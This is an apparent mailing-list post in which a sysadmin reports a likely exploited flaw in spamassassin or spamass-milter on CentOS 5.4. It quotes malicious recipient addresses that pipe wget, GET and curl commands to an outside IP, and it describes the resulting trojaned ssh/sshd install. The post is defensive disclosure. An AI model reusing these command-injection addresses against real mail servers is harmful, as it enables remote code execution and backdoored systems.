This is a heads-up that there might be an actively exploited
vulnerability in either the spamassassin or spamass-milter package.
I'm still unsure where the problem lies, but here's what I know.
The system described below runs x86_64 release of CentOS 5.4. SELinux
was, at the time, in Permissive mode. The packages involved, as far as
I can tell, are
* spamassassin-3.2.5-1.el5.rf
* spamass-milter-0.3.1-1.el5.rf
* sendmail-8.13.8-2.el5 (not rpmforge, obviously)
Mar 15 05:47 (times are PDT): Several messages arrived with suspicious
recipients:
<root+:>
<root+:"|wget http://61.100.185.177/busy-1.php";>
<root+:"|GET http://61.100.185.177/busy-2.php";>
<root+:"|curl http://61.100.185.177/busy-3.php";>
Sendmail recognized the addresses as syntactically evil, but a process
running under the spamass_milter_t context ran wget, GET, and curl and
connected to the IP address in the addresses above.
The file(s) downloaded by these processes executed a shell script. It
did several things, the highlights of which are
1. It downloaded, uncompressed, and untar-ed a file named
xS.tar.gz. The resulting directory name was /xS.
2. It tried to add a unix group and user named "sshd"; the attempt
failed, probably because there's already an sshd user and group
on the system.
3. It installed 32-bit Linux executables in place of /usr/bin/ssh
and /usr/sbin/sshd. The new executables were dynamically linked
against a small number of libraries, but most of the supporting
libraries had been compiled directly into the applications.
4. It installed a minimal /etc/ssh/sshd_config and an empty
/etc/ssh/ssh_config.
5. After verifying that sshd was in the process table, it
removed the /xS directory.
6. It created an empty file name /dev/devno
7. It restarted sshd using /sbin/service
Again, this was all done under the spamass_milter_t security context.
I don't know enough about the sendmail <-> spamass-milter <-> spamd
pipeline to have a definitive idea about what application misparsed
the piped e-mail addresses and executed them.
I saw the attack again this morning, but by then I'd cleaned things up
and gotten SELinux back into Enforcing mode, which prevented the
exploit from working again.
--
Paul Heinlein <> [email protected] <> http://www.madboa.com/
_______________________________________________
users mailing list
[email protected]
http://lists.rpmforge.net/mailman/listinfo/users
